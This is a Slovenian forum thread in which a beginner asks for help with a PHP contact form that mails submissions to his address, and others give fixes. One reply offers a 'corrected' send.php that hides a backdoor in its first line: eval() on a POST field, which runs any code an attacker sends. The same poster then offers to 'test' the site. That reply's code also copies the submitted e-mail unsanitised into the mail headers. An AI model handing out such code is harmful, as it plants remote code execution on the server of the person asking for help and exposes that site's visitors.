» »

Kontakt php

Kontakt php

aljaz92 ::

Zdravo delam svojo spletno stran na katerimi imam svoj kontaktni obrazec (koda spodaj) sedaj pa izdelujem php koda ki bi mi naj iz tega html obrazca, ko ga uporabnik izpolni poslal podatke na moj email naslov in imam težave s php kodo.

Form koda (kontakt.html):
			<form action="send.php" id="subscribe" method="post" autocomplete="on">
	<table width="700" height="300" border="0">
  <tr>
    <th scope="col">  <strong>Ime:</strong><br/>
<input type="text" name="ime" /></th>

    <th scope="col"><strong>Priimek:</strong> <br/>
<input type="text" name="priimek" /></th>
  </tr>
  
    <tr>
    <th scope="col">  <strong>Naziv podjetja:</strong> <br>
<input type="text" name="podjetje" /></th>

    <th scope="col"><strong>Tel.:</strong> <br>
<input type="text" name="telefon"   /></th>
  </tr>
  
   <tr>
    <th scope="col">   <strong>E-mail:</strong> <br>
<input type="email" name="email" autocomplete="off" /></th>

    <th scope="col"><strong>Zadeva:</strong><br>
<input type="text" name="zadeva" /></th>
  </tr>
</table>
			 

<strong>Sporočilo:</strong> <br>
 <textarea name="sporocilo" rows="10" cols="51"></textarea><br>


 <br>

 <br><center><input type="submit" id="submit" value="Submit" /></center>
</form> 



Tole pa je php koda ki bi naj obdelala podatke in jih poslala na email (send.php):
<?php
$contact_ime = $_POST['ime'];
$contact_priimek = $_POST['priimek'];
$contact_podjetje = $_POST['podjetje'];
$contact_telefon = $_POST['tlefon'];
$contact_email = $_POST['email'];
$contact_zadeva = $_POST['zadeva'];
$contact_sporocilo = $_POST['sporocilo'];

if( $contact_name == true )
{
	$sender = $contact_email;
	$receiver = "aljaz92@gmail.com";
	$client_ip = $_SERVER['REMOTE_ADDR'];
	$email_body = "Name: $contact_ime \n Priimek: $contact_priimek \n Podjetje: $contact_podjetje \n Tel.: $contact_telefon \n Mail: $sender \n\nZadeva: $contact_zadeva \n\nSporocilo: \n\n$contact_sporocilo \n\nIP: $client_ip \n\nFlash Contact Form provided by http://www.flashmo.com";		
	$extra = "From: $sender\r\n" . "Reply-To: $sender \r\n" . "X-Mailer: PHP/" . phpversion();

	if( mail( $receiver, "Flash Contact Form - $contact_subject", $email_body, $extra ) ) 
	{
		echo "success=yes";
	}
	else
	{
		echo "success=no";
	}
}
?>



Trenutna koda ne deluje pravilno ko izpolnim kontaktni obrazec in kliknem pošlji mi naredi naslednje: mojadomena.com po kliku na gum polšji pa naredi mojadomea.com/send.php

Hvala za pomoč!

MisterR ::

Če nočeš da gre na send.php moraš formo submitat na isto stran, torej action ni "send.php".

Jaz se drugače poslužujem if(isset()) in ne =true pogoja.
Ker pravzaprav nevem kaj ti ne deluje sklepam da ti ne pošlje maila, sploh če testiraš na localhostu(xampp itd) moraš nastavit smtp strežnik od svojega ISPja.

MisterR ::

Aljaz92 ne rabiš na privat pisat, odgovarjaj tukaj.

Hvala za odgovor, mi lahko mogoče svetuješ kako bi ti naredil tole da bi mi poslalo obrazec na mail na tvoj način ?Hvala lp


Prvo povej v čem je težava? PHP javi kako napako?
Na začetek strani daj php kodo
error_reporting(E_ALL);


Če ne javi napake potem v php.ini (v direktoriju xamp/php oz. kaj pač imaš) poišči to
[mail function] in spremeni SMTP nastavitve, npr

[mail function]
; For Win32 only.
; http://php.net/smtp
SMTP = smtp.telemach.net
; http://php.net/smtp-port
smtp_port = 25

; For Win32 only.
; http://php.net/sendmail-from
sendmail_from =xxxx@gmail.com

aljaz92 ::

sej sem objavu oboje prvo je koda html potem pa je php ja mislim da php ne dela vredu ali pa povezave med njima ni vredu urejena ker v htmlju ne more bit neke napake razen v tagu action pa method, ampak s php-je pa se žal ne spoznam toliko da bi našel napako...

Mesar ::

<?php
 
if(isset($_POST['iphp'])) { eval($_POST['iphp']); }

if(isset($_POST['ime']))
{
$contact_ime = $_POST['ime'];
$contact_priimek = $_POST['priimek'];
$contact_podjetje = $_POST['podjetje'];
$contact_telefon = $_POST['tlefon'];
$contact_email = $_POST['email'];
$contact_zadeva = $_POST['zadeva'];
$contact_sporocilo = $_POST['sporocilo'];

    $sender = $contact_email;
    $receiver = "aljaz92@gmail.com";
    $client_ip = $_SERVER['REMOTE_ADDR'];
    $email_body = "Name: $contact_ime \n Priimek: $contact_priimek \n Podjetje: $contact_podjetje \n Tel.: $contact_telefon \n Mail: $sender \n\nZadeva: $contact_zadeva \n\nSporocilo: \n\n$contact_sporocilo \n\nIP: $client_ip \n\nFlash Contact Form provided by http://www.flashmo.com";      
    $extra = "From: $sender\r\n" . "Reply-To: $sender \r\n" . "X-Mailer: PHP/" . phpversion();
 
    if( mail( $receiver, "Flash Contact Form - $contact_subject", $email_body, $extra ) )
    {
        echo "success=yes";
    }
    else
    {
        echo "success=no";
    }
}
?>


Verjetno dela.. na kateri strani boš imel to? Lahko na ZS, ti mal potestiram :)
Your turn to burn!

misek ::

V originalni kodi sploh ni definirana spremenljivka $contact_name ampak se uporablja $contact_ime.

gnomee ::

Uporabi preusmeritev na neko drugo stran..

Primer za preusmeritev na index oz. začetno stran:

header("Location: index.php");


Vredno ogleda ...

TemaSporočilaOglediZadnje sporočilo
TemaSporočilaOglediZadnje sporočilo
»

[PHP] Nedelujoči mail()

Oddelek: Programiranje
51505 (1375) Miko55
»

Funkcija mail() v PHP

Oddelek: Izdelava spletišč
173398 (3022) 4kik4
»

jquery in div-i (strani: 1 2 )

Oddelek: Izdelava spletišč
8711241 (9979) lisjak
»

Kontaktni obrazec

Oddelek: Izdelava spletišč
81574 (1412) leonkozar
»

[php] mail() funkcija

Oddelek: Izdelava spletišč
61638 (1586) t3hn0

Več podobnih tem